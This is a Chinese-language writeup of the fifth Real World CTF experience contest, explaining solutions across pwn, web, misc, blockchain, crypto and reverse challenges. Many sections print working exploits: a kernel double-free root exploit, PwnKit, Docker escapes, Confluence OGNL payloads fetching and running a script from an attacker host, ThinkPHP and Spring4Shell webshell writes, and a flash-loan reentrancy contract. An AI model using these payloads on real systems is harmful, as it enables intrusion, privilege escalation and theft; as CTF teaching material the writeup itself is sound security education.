第五届 Real World CTF 体验赛 Writeup

WriteUp 4周前 admin
206 0 0
别忘了
第五届 Real World CTF 体验赛  Writeup
  星标我!


1月7日-8日,24小时 

第五届 Real World CTF 体验赛落下帷幕

来自企业、高校和长亭合作伙伴的239支战队

1000+人集结体验赛

192次签到题解出,

15次一血,

有效flag提交851次


最终,由来自北京邮电大学的天枢Dubhe战队以2268的总分、解出14题获得第一名,而去年的冠军团队,来自众多高校联合(南京大学,南京邮电、东南大学、中国矿业大学等)的SU战队以2187的总分获得第二名,由来自西安电子科技大学的L-team战队以总分2166名列第三名。


以下为本次体验赛所有题目的Writeup。



Pwn


Digging into Kernel 3
题目在5.19.0版本的Linux Kernel上运行了一个有漏洞的驱动,驱动代码比较简单,包括uaf,race condition,memory leak等多个漏洞。通过漏洞驱动获取root权限有很多种方法,这里贴出作者old-school的exploit代码(并非最简单的方法,甚至相对复杂,使用USMA/DirtyCred等手段可以写出更简洁更稳定的exploit)

#define _GNU_SOURCE#include <sched.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <ctype.h>#include <err.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/timerfd.h>#include <sys/ioctl.h>#include <sys/syscall.h>#include <linux/keyctl.h>
// user_key_payload#define size_user_key_payload (24)// (gdb) ptype /o struct user_key_payload// /* offset | size */ type = struct user_key_payload {// /* 0 | 16 */ struct callback_head {// /* 0 | 8 */ struct callback_head *next;// /* 8 | 8 */ void (*func)(struct callback_head *);// // /* total size (bytes): 16 */// } rcu;// /* 16 | 2 */ unsigned short datalen;// /* XXX 6-byte hole */// /* 24 | 0 */ char data[];// // /* total size (bytes): 24 */// }
int key_alloc(char *description, char *payload, int payload_len) { return syscall( __NR_add_key, "user", description, payload, payload_len, KEY_SPEC_PROCESS_KEYRING );}
void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) { char *tmp_desc = (char *)malloc(description_len + 100); memset(tmp_desc, 0, description_len + 100); memcpy(tmp_desc, description, description_len); for(int i = 0; i < spray_count; i++) { snprintf(tmp_desc + description_len, 100, "_%d", i); keys[i] = key_alloc(tmp_desc, payload, payload_len); if(keys[i] == -1) { perror("add_key"); printf("failed index: %dn", i); // break; exit(-1); } } free(tmp_desc);}
int key_revoke(int key_id) { return syscall( __NR_keyctl, KEYCTL_REVOKE, key_id, 0, 0, 0 );}
int key_free(int key_id) { return syscall( __NR_keyctl, KEYCTL_UNLINK, key_id, KEY_SPEC_PROCESS_KEYRING );}

int key_read(int key_id, char *retbuf, int retbuf_len) { return syscall( __NR_keyctl, KEYCTL_READ, key_id, retbuf, retbuf_len );}// user_key_payload



// utilsvoid breakpoint() { printf("press enter to continue...n"); getchar();}
#ifndef HEXDUMP_COLS#define HEXDUMP_COLS 16#endif
void hexdump(void *mem, unsigned int len) { putchar('n'); for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) { /* print offset */ if(i % HEXDUMP_COLS == 0) { printf("0x%06x: ", i); }
/* print hex data */ if(i < len) { printf("%02x ", 0xFF & ((char*)mem)[i]); } /* end of block, just aligning for ASCII dump */ else { printf(" "); }
/* print ASCII dump */ if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) { for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) { /* end of block, not really printing */ if(j >= len) { putchar(' '); } /* printable char */ else if(isprint(((char*)mem)[j])) { putchar(0xFF & ((char*)mem)[j]); } /* other char */ else { putchar('.'); } } putchar('n'); } } putchar('n');}// utils
// here we startstruct add_param { int idx; int size; char *cont;};
int g_fd;int seq_fd;unsigned long long g_vmlinux = 0;unsigned long long g_modprobe_path = 0;unsigned long long g_do_task_dead = 0;unsigned long long g_heap = 0;
unsigned long long pop_rax_ret = 0;unsigned long long pop_rcx_ret = 0;unsigned long long pop_rdi_ret = 0;unsigned long long mov_ptr_rax_rdi_ret = 0;unsigned long long ret = 0;

void setup() { g_fd = open("/dev/rwctf", O_RDWR); printf("g_fd = %dn", g_fd);
system("echo '#!/bin/shnchmod 777 /flag' > /tmp/x"); system("chmod +x /tmp/x");
system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy");
if(fork()) { sleep(3); system("/tmp/dummy 2>/dev/null"); system("ls -l /flag"); system("cat /flag"); exit(1); }}
void add(int idx, int size, char* cont) { struct add_param arg = { .idx = idx, .size = size, .cont = cont, };
ioctl(g_fd, 0xdeadbeef, &arg); // no error check}
void delete(int idx) { ioctl(g_fd, 0xc0decafe, &idx); // no error check}
void leak() { int OBJ_SIZE = 0x100; char *cont = malloc(OBJ_SIZE); memset(cont, 'x', OBJ_SIZE);
add(0, OBJ_SIZE, cont); delete(0); // first free
int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload; int SPARY_USER_KEY_CNT = 50; int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int)); char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE); memset(user_key_payload, 'y', SPRAY_USER_KEY_SIZE); key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, "spray_key", strlen("spray_key"));
delete(0); // double free
*(unsigned long long *)&cont[0x0] = 0; *(unsigned long long *)&cont[0x8] = 0; *(unsigned long long *)&cont[0x10] = 0x2000; // user_key size for(int i = 0; i < 100; i++) { add(1, OBJ_SIZE, cont); }
char *recv_payload = malloc(0x2000); int anchor = 0; for(int i = 0; i < SPARY_USER_KEY_CNT; i++) { memset(recv_payload, 0, 0x2000); int retval = key_read(keys[i], recv_payload, 0x2000); // printf("retval = %dn", retval); if(retval > SPRAY_USER_KEY_SIZE) { printf("find anchor %dn", anchor); printf("we leaked something...n"); anchor = i; break; } }
if(anchor == 0) { err(-1, "bad luck, try again!n"); }
for(int i = 0; i < SPARY_USER_KEY_CNT; i++) { if(i != anchor) { key_revoke(keys[i]); } }
memset(recv_payload, 0, 0x2000); int retval = key_read(keys[anchor], recv_payload, 0x2000); // printf("retval = %dn", retval); if(retval > SPRAY_USER_KEY_SIZE) { // hexdump(recv_payload, 0x200); unsigned long long heap = *(unsigned long long *)&recv_payload[0xe8]; unsigned long long _user_free_payload_rcu = *(unsigned long long *)&recv_payload[0xf0]; unsigned long long needle = *(unsigned long long *)&recv_payload[0x100]; if(needle == 0x7979797979797979 && heap && _user_free_payload_rcu) { printf("leaked heap @ 0x%llxn", heap); printf("leaked user_free_payload_rcu @ 0x%llxn", _user_free_payload_rcu); g_vmlinux = _user_free_payload_rcu - 0x339d8210; printf("vmlinux @ 0x%llxn", g_vmlinux); g_modprobe_path = g_vmlinux + 0x34e510a0; // printf("modprobe_path @ 0x%llxn", g_modprobe_path); g_do_task_dead = g_vmlinux + 0x336a3190; pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret ret = g_vmlinux + 0x33600341; // ret } }
sleep(1); // free user_key for(int i = 0; i < 100; i++) { close(keys[i]); }
// // place gadgets // memset(cont, '!', OBJ_SIZE); // for(int i = 0; i < 100; i++) { // add(1, OBJ_SIZE, cont); // }}
void hijack() { int OBJ_SIZE = 0x20; // char *cont = malloc(OBJ_SIZE); memset(cont, 'z', OBJ_SIZE);
add(0, OBJ_SIZE, cont); delete(0); // first free
seq_fd = open("/proc/self/stat", O_RDONLY); delete(0); // second free

unsigned char fake_seq_operations[OBJ_SIZE]; memset(fake_seq_operations, '0', OBJ_SIZE); // *(unsigned long long *)&fake_seq_operations[0x00] = 0x1111111111111111; *(unsigned long long *)&fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160 *(unsigned long long *)&fake_seq_operations[0x08] = ret; *(unsigned long long *)&fake_seq_operations[0x10] = ret; *(unsigned long long *)&fake_seq_operations[0x18] = pop_rax_ret;
for(int i = 0; i < 1; i++) { add(1, OBJ_SIZE, fake_seq_operations); }
__asm__( "mov r15, pop_rax_ret;" "mov r14, g_modprobe_path;" "mov r13, pop_rdi_ret;" "mov r12, 0x0000782f706d742f;" // /tmp/xx00 "mov rbp, mov_ptr_rax_rdi_ret;" "mov rbx, g_do_task_dead;" "mov r11, 0x77777777;" "mov r10, 0x88888888;" "mov r9, 0x99999999;" "mov r8, 0xaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "xor rax, rax;" "syscall" ); // read(seq_fd, fake_seq_operations, 1);

}
int main() { setup(); leak();
// breakpoint(); hijack();
// breakpoint();
return 0;}


Be-a-PK-LPE-Master

连接端口后,题目提示默认用户名为 user, 空口令登陆。 


第五届 Real World CTF 体验赛  Writeup


发现需要提权才能获取 flag ,从题目名称中可以猜测出我们需要利用 pkexec 的漏洞进行提权, 故尝试使用 CVE-2021-4034 进行提权。


exploit 参考:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>
char *shell = "#include <stdio.h>n" "#include <stdlib.h>n" "#include <unistd.h>nn" "void gconv() {}n" "void gconv_init() {n" " setuid(0); setgid(0);n" " seteuid(0); setegid(0);n" " system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n" " exit(0);n" "}";
int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env);}

第五届 Real World CTF 体验赛  Writeup

这里还有一个小故事, 新版的 Kernel 会处理 execve 的 argv[0] 是 NULL 的情况,因此 pkexec 这个漏洞在较新版本 Kernel 是不能用的 。 具体情况可以参考:

Handling argc==0 in the kernel [LWN.net] (https://lwn.net/Articles/882799/



Be-a-Docker-Escaper-2


通过 ssh 获取题目 shell 后,可以发现是在容器环境中。仔细看根目录可以看到容器环境将 HOST 的 /proc/sys/fs/binfmt_misc/ 目录映射到了容器的 /binfmt_misc


通过了解资料知道 Linux 内核有一个名为Miscellaneous Binary Forma(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件


其 binfmt 的格式如下:
name:type:offset:magic:mask:interpreter:flags

这个配置中每个字段都用冒号 : 分割,某些字段拥有默认值可以跳过,但是必须保留相应的冒号分割符。

各个字段的意义如下:

  • name:规则名
  • type:表示如何匹配被打开的文件,值为 E 或 M 。E 表示根据扩展名识别,而 M 表示根据文件特定位置的 Magic Bytes来识别

  • offset:type字段设置成 M 之后有效,表示查找 Magic Bytes的偏移,默认为0

  • magic:表示要匹配的 Magic Bytes,type 字段为 M 时,表示文件的扩展名,扩展名是大小写敏感的,不需要包含 .。type字段为 E 时,表示 Magic Bytes,其中不可见字符可以通过 xff 的方式来输出

  • mask:type字段设置成 M 之后有效,长度与 Magic Bytes 的长度一致。如果某一位为1,表 magic 对应的位匹配,为0则忽略。默认为全部匹配

  • interpreter:启动文件的程序,需要是绝对路径

  • flags: 可选字段,控制 interpreter 打开文件的行为,共支持 POCF 四种flag

因此我们可以注册一个自己的 binfmt, 然后让其 HOST 执行相应的文件,就可以完成逃逸。关键是如何在 HOST 执行相应的文件。观察出题人给的条件,  出题人给了 ssh 登陆的途径。

我们通过 strace sshd 进程 ,会发现 sshd 服务当有 ssh 尝试连接的时候会执行一些 bash 脚本,例如 etc/update-motd.d/00-header

第五届 Real World CTF 体验赛  Writeup

第五届 Real World CTF 体验赛  Writeup

至此打通了逃逸的路径

完整利用过程:


1、首先注册一个自己的 binfmt

echo ":test:M::x23x21x2fx62x69x6ex2fx73x68::/var/lib/docker/overlay2/$overlay/diff/tmp/exploit:" > /binfmt_misc/register

例如上一条语句,即为注册一个名 test, magic 为 #!/bin/sh , interpreter位于 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 的 binfmt ,其中 $overlay2 我们可以在 docker 中使用  mount 命令来获取

2、往 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 写入我们要执行的命令

echo '#!/bin/bash' > /tmp/exploitecho "docker cp /root/flag $container:/tmp/" >> /tmp/exploitchmod 777 /tmp/exploit


3、最后再使用 ssh 登陆一次即可获取 flag



Be-a-Docker-Escaper-3


首先查看内核版本 ,可以发现是一个比较旧的内核版本


第五届 Real World CTF 体验赛  Writeup


再结合题目描述和名字,可以知道这题应该需要使用 CVE-2016-5195 也就是著名的DirtyCOW 漏洞来进行容器逃逸。


想要使用 DirtyCOW 进行容器逃逸,需要使用 DirtyCOW-vDSO 的利用方式,也就是通过 DirtyCOW 覆盖 vDSO 数据来实现对容器的逃逸。但是现有最著名的 vDSO 逃逸利用https://github.com/scumjr/dirtycow-vdso存在以下两个问题:

  1. 该利用使用 ptrace 方式来实现对 vDSO 内存的修改触发 COW,但是新版本 docker 默认禁止 ptrace

  2. 该利用对 vDSO 的 patch 选择的位置在 ubuntu 的内核里触发不了,需要换一个 patch 点


本着不能只有自己被坑的原则,出了这题。


需要将原来的ptrace利用方式换回 /proc/self/mem 利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考

https://github.com/zh-explorer/dirtycow.git


利用流程如下:

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyelftoolsgit clone https://github.com/zh-explorer/dirtycow.gitcd  dirtycowmkdir buildcd buildcmake ..make./dirtycow {IP} 31337

第五届 Real World CTF 体验赛  Writeup


第五届 Real World CTF 体验赛  Writeup



Be-a-BUS-Driver


题目中运行了一个 D-Bus 服务, 通过 busctl --system --list 命令可以列出当前注册的 system D-Bus 服务, 其中有一个叫 ezbus 的尤其可疑。


第五届 Real World CTF 体验赛  Writeup


通过 busctl introspect org.dbus.rwctf /org/dbus/rwctf 命令可以列出其实现的方法名, 例如可以看到其实现了一个名为 SayBoss 的方法,接受字符串参数。


第五届 Real World CTF 体验赛  Writeup


打开 IDA 进行逆向, 找到 SayBoss 方法


第五届 Real World CTF 体验赛  Writeup


发现 count 变量计算了调用该函数的次数,如果大于 0xA ,即可执行命令。


因此我们只需调用往 /tmp/exp.sh 写入我们要执行的命令, 然后使用下面这句命令调用超过 10 次即可。


busctl --system call org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1 SayBoss s "/tmp/exp.sh"


第五届 Real World CTF 体验赛  Writeup





Web


Be-a-Wiki-Hacker



根据页面上显示的版本 7.13.6,搜索 Confluence 历史漏洞,可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的,执行 id 命令的利用验证poc:


GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: example.com:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close


url 路径部分就是 ognl 表达式 url 编码后的内容,所以执行的表达式其实就是:


${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


如果要拿服务器 shell 权限,可以反弹 shell,这里注意 Java 里 Runtime 直接传递字符串执行 exec 的话,命令里不支持 shell 语法特性(比如管道符、重定向等),以及这里由于 tomcat 处理 url 的安全特性,url 里不能出现编码后的斜线,所以可以执行最简单的,wget 从远程拉一个脚本下来然后执行,分三次执行:


${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("wget script.attacker.com").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("chmod +x index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("bash index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


Evil MySQL Server



这题考查的是 mysql 连接到恶意服务器时,恶意服务端可以读取 mysql 客户端本地文件的特性利用。如果不了解这个安全问题的选手,也可以根据题目提示“Evil MySQL Server”进行 Google 查询,能找到相关的安全资料。本题在体验赛赛题讲解视频里也有更为详细的讲解,这里简单说下怎么做。


可以直接借助工具 MySQL Fake Server:https://github.com/fnmsd/MySQL_Fake_Server


用它在你自己的公网 vps 服务器上启动一个恶意的 mysql server,比如地址是 1.1.1.1,端口3306,然后打开题目,在表单里填上对应的服务器地址,用户名处填 fileread_/flag,提交。mysql fake server 就会收到请求,并读到 /flag 文件内容。


ApacheCommandText



由于 apache common text 在默认配置下会对数据进行递归解析。这道题对一些常见利用的字符串进行了过滤,但没有过滤base64decoder,因此我们可以使用base64decoder以及递归特性进行漏洞利用。


POC

${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}


第五届 Real World CTF 体验赛  Writeup


Be-a-Langurage-Expert



这题考察的是 Thinkphp 多语言功能导致的任意文件包含,这个漏洞的影响范围如下

* ThinkPHP v6.0.1 <= v6.0. x <= v6.0.13

* ThinkPHP v5.1.x

* ThinkPHP v5.0.x


具体的漏洞分析可以参考:

http://tttang.com/archive/1865/


所以进入题目便可以看到,当前的 ThinkPHP 版本为 6.0.12 正好位于漏洞版本范围内,所以我们便可以进行任意文件包含。结合题目描述里面给出的信息,整个 ThinkPHP 是使用Docker进行部署的,所以我们可以使用: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html 这个技巧, 利用 PearCMD 来最终实现RCE。


首先我们发送第一个包,用来创建一个 Webshell 在 /tmp/1.php:


GET /?+config-create+/&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[a]);?>+/tmp/1.php HTTP/1.1Host: localhost:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Connection: closeCache-Control: max-age=0

此时在 /tmp/1.php 中的内容就是 <?=@eval($_POST[a]);?>。我们之后只需要使用Webshell 管理工具连接如下地址即可。
http://your-ip:8888/?&lang=../../../../../../../../../../../tmp/1

最后执行 /readflag 获取 Flag

Yummy Api



这题考察的是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE,获取 Flag。

  1. 使用 Mongodb 注入拿到用户项目的 Token ,这一步需要爆破。

  2. 在默认情况下利用这个使用 aes192 加密 token,这样我们可以调用项目的任意功能,。

  3. 然后通过调用项目的 pre-script 功能,上传 vm2 的逃逸脚本实现 RCE。


具体的漏洞分析文章可以参考: 

https://www.anquanke.com/post/id/283779 


当然也可以找到一键利用的脚本:

https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py


使用这个脚本我们只需要执行,即可拿到 Flag


py -3 .poc.py --debug one4all -u http://ip:9090/ -c "/readflag"

Spring4Shell



该题主要结合 git 泄漏与2022年 top2 漏洞—— Spring4shell 相关背景。


解题思路一:


可以发现 .git 泄漏配置文件,导致 web 路径泄漏。


可使用工具:

https://github.com/gakki429/Git_Extract.git

$ python git_extract.py http://47.98.216.107:31584/.git/


查看 web 路径:

$ cat 47.98.216.107_31584/server.xml|grep appBase<Host name="XXXX"  appBase="chaitin"

Spring4shell EXP:
可使用:https://github.com/reznok/Spring4Shell-POC.需要手动指定 web 路径
python exploit.py --url http://47.98.216.107:31584/ --dir chaitin/ROOT


解题思路二:

修改 appBase,不需要获取 web 路径,此 payload 不常见,github 上检索不到。
payload:class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.appBase=/


webshell 写入路径:/tmp/shell.jsp

访问 webshell:
http://47.98.216.107:31584/tmp/shell.jsp?cmd=id

读取 flag





Misc



Long Range


通过题目描述 Long Range与频段 500.5Mhz (属于 LoRa 在中国常用的CN470-510频段) 结合猜测信号中是一段 LoRa 信号。 使用 SDRSharp 或其他工具加载 wav 文件,可以发现信号也比较符合 LoRa 的特征,进一步印证猜测并分析出所使用的带宽为125kHz。


第五届 Real World CTF 体验赛  Writeup


使用 GNU Radio 的 OOT 模块 gr-lora,调整 SF 扩频因子, 在8时可以解出 flag。


第五届 Real World CTF 体验赛  Writeup



Be-a-Famicom-Hacker


使用模拟器打开游戏,可以发现界面的 komani 1988被修改为了 RWCTF 2023,知晓 ROM 被修改。


第五届 Real World CTF 体验赛  Writeup


最硬核的解题方式是通过 ROM 大小知道是日版的魂斗罗,然后下载原版 ROM diff 修改内容,然后逆向 ROM 代码,但游戏类题目一般只要探索过所有场景即可获得 flag。


通过搜索可以知道,魂斗罗存在一个隐藏彩蛋:在过关的结尾动画(包括滚动名单)期间,全程按住 Select+Start 键,即可见到一段隐藏的彩蛋,flag 就放在隐藏彩蛋中。


第五届 Real World CTF 体验赛  Writeup


关于快速通关,

选关按下 START 后,在游戏画面变黑之前,同时按下 ←+↑+A+START,就可以进入选关菜单。

作弊

1.自带的经典作弊码,在标题画面BGM出现后按 上上下下左右左右BA 就会有30条命。

2.模拟器打开 CPU view,进入关卡,其中 0x32 位置为 1P 的生命数,0xB0 位置为1P无敌状态的剩余时间,可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关。





BlockChain


HappyFactory



本题考点为 Defi 项目的核心逻辑中,闪电贷功能易出现的重入漏洞。


解题思路1:


在调用 swap 合约闪电贷之前,调用 Token 的 Burn 接口。Burn 接口无 onlyOwner 限制,可直接调用。


Burn 掉 Pair 的部分 balance,然后调用 sync 函数调平。调平后的pair可swap出巨量Token。


解题思路2:


在调用 swap 合约的闪电贷功能时,重入未加 lock 限制的 sync 函数。在计算 K 值前,将 reserve 设为对自己有利的状态。


解题 Exploit 如下:

pragma solidity ^0.8.0;import "./Happy.sol";
contract Exploit { event tokenA_tokenB(address, address); IHappyFactory factory = IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36)); IHappyPair public pair; IHappyERC20 public tokenA; IHappyERC20 public tokenB; address public gamer;
constructor(address tokenA_address, address tokenB_address) { gamer = msg.sender; tokenA = IHappyERC20(tokenA_address); tokenB = IHappyERC20(tokenB_address); pair = IHappyPair(factory.getPair(tokenA_address, tokenB_address)); }
function attack(uint256 amount0, uint256 amount1) public { pair.swap(amount0, amount1, address(this), "0x"); tokenB.transfer(gamer, 1 ether); }
fallback() external { pair.sync(); tokenA.transferFrom(gamer, address(pair), 1 ether); }}




Crypto


babyCurve



题目的主要考察椭圆曲线同构。参考链接:

https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp


根据题目我们可以知道椭圆曲线为y² = x*(x+1)²


然后我们发现椭圆曲线的判别式为 0 根据参考链接给出的方法 我们采用换元法修改成和上述链接一样的形式。


第五届 Real World CTF 体验赛  Writeup


这时候就可以利用同构求出密钥x,然后一切问题都迎刃而解

下面提供下 exp


from Crypto.Util.number import *from Crypto.Cipher import AESp = 193387944202565886198256260591909756041P.<x> = GF(p)[]f = x^3 + 2*x^2 + xP = (4, 10)Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)f_ = f.subs(x=x-1)print f_.factor()
P_ = (P[0] +1, P[1])Q_ = (Q[0] +1, Q[1])
t = GF(p)(p-1).square_root()u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % pv = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % pprint(v.log(u))k = v.log(u)aes = AES.new(long_to_bytes(k).ljust(16, ''), AES.MODE_CBC, ''*16)flag = "b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0".decode("hex")print(len(flag))plaintext = aes.decrypt(flag)print(plaintext)




Reverse


SNAKE



安装 apk 运行发现是个贪吃蛇游戏,随着控制蛇吃到的食物越多,蛇的速度越快。所以如果你足够强可以坚持到最后,把 flag 吃出来。


分析 apk,由于贪吃蛇和食物本身所用资源都是图片,于是在 drawable 目录中可找到这些图片文件,并且可以发现除普通食物图片外,还有 b0,b1 这些字母图片,容易猜测到这些便是 flag 的组成部分。


在 onDraw 方法中注意到如下部分


第五届 Real World CTF 体验赛  Writeup


a和b方法分别控制屏幕绘制食物或是 flag,由 this.c 控制


第五届 Real World CTF 体验赛  Writeup


第五届 Real World CTF 体验赛  Writeup


注意到拼装b图片时用到了 this.f 数组,交叉引用后定位到


第五届 Real World CTF 体验赛  Writeup


比较容易猜到是 brainfuck,但是有点小改动,不能直接在线解密,仔细分析的话可以发现是[]<>互换了一下,图方便可以 hook 拿到返回值


function hook(){    Java.perform(function(){       var SecurityParams = Java.use("b.a.a.a");       SecurityParams.a.implementation = function(str){                var ret = this.a(str);                console.log(ret);                return ret;            }    });    }function main() {        hook()}
setImmediate(main)

第五届 Real World CTF 体验赛  Writeup


数组中的元素即对应 drawable 目录中 flag 文件名,按顺序找出对应图片即可得到 flag,需要注意的是 this.v 在i函数中会先自增一次,所以 flag 从第1个元素开始取





Check-In


🐑了拼🐑



直接拼图就可以获取 flag


第五届 Real World CTF 体验赛  Writeup




第五届 Real World CTF 体验赛  Writeup
点分享
第五届 Real World CTF 体验赛  Writeup
点收藏
第五届 Real World CTF 体验赛  Writeup
点点赞
第五届 Real World CTF 体验赛  Writeup
点在看

原文始发于微信公众号(胖哈勃):第五届 Real World CTF 体验赛 Writeup

版权声明:admin 发表于 2023年1月11日 下午6:16。
转载请注明:第五届 Real World CTF 体验赛 Writeup | CTF导航

相关文章

暂无评论

暂无评论...